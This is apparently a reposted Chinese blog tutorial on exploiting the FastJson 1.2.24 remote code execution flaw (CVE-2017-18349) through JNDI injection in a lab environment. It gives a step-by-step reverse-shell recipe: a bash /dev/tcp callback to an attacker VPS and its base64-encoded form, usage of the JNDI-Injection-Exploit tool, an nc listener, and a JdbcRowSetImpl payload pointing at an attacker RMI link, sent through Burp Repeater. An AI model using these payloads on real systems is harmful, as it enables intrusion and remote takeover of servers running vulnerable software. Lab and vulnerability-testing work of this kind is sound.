FastJson远程代码执行漏洞基于JNDI反弹shell使用

目录

基础知识:

漏洞利用的两种方式:

靶场环境说明

反弹shell准备

反弹shell执行


在FastJson组件1.2.24及之前版本存在远程代码执行漏洞(CVE-2017-18349)。

基础知识:

Fastjson是阿里巴巴公司开发的一个Java语言编写的高性能的JSON处理器。它采用一种“假定有序快速匹配”的算法,号称是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。它提供两个主要接口toJSONString()和 parseObject()进行序列化和反序列化。

漏洞利用的两种方式:

基于Templateslmpl

基于JNDI

本文从JNDI的注入方式来实现反弹shell。

靶场环境说明

FastJson远程代码执行漏洞基于JNDI反弹shell使用_第1张图片

通过burpsuite可以抓到提交的报文:

FastJson远程代码执行漏洞基于JNDI反弹shell使用_第2张图片

 在Repeater处修改str的值可以进行注入验证

反弹shell准备

1、设计一个shell命令,如下,更新vps的IP以及端口

bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1

这里需要注意shell命令里不要空格或换行指令,在>&后面不要有空格。否则反弹shell的时候命令执行会报异常退出。

通过base64的bash加密,通过多种格式在线加密解密 - ASCII\十进制\十六进制\二进制在线转换工具可简单实现shell命令的base64加密。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvcG9ydCAwPiYx}|{base64,-d}|{bash,-i}

2、下载JNDI注入工具,建立rmi、ldap服务

JNDI-Injection-Exploit工具下载路径:GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

JNDI介绍:

JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于 Fastjson、Jackson等相关漏洞的验证。

JNDI注入利用工具使用:

可执行程序为jar包,在命令行中运行以下命令:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

  • -C - 远程class文件中要执行的命令。

    (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")

  • -A - 服务器地址,可以是IP地址或者域名。

    (可选项 , 默认地址是第一个网卡地址)

注意:

  • 要确保 109913898180端口可用,不被其他程序占用。如果只希望RMISERVER的话,就只要开放1099端口。

    或者你也可以在run.ServerStart类26~28行更改默认端口。

  • 命令会被作为参数传入Runtime.getRuntime().exec()

    所以需要确保命令传入exec()方法可执行。

    bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."

示例:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "command" -A "ip-address"

 3、启动JNDI注入工具,获得rmi服务或ldap服务的链接

FastJson远程代码执行漏洞基于JNDI反弹shell使用_第3张图片

4、通过nc启动监听步骤1中的端口,如下图

nc -lvvp [port]

FastJson远程代码执行漏洞基于JNDI反弹shell使用_第4张图片

5、fastJson反序列化漏洞的注入payload

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx.xxx.xxx.xxx:1099/731tna","autoCommit":true}}

rmi这一段的值为JNDI注入工具生成的链接。

 准备好以上后,返回burpSuite里通过Repeater来触发shell。

反弹shell执行

在burpsuite中的Repeater触发注入的payload

FastJson远程代码执行漏洞基于JNDI反弹shell使用_第5张图片

 发送payload,在JNDI启动的服务监听中就可以获取到触发的结果,在nc的监听中可以看见反弹shell成功。

FastJson远程代码执行漏洞基于JNDI反弹shell使用_第6张图片

 以上就是基于JNDI注入的反弹shell使用。

你可能感兴趣的:(安全测试,安全,web安全)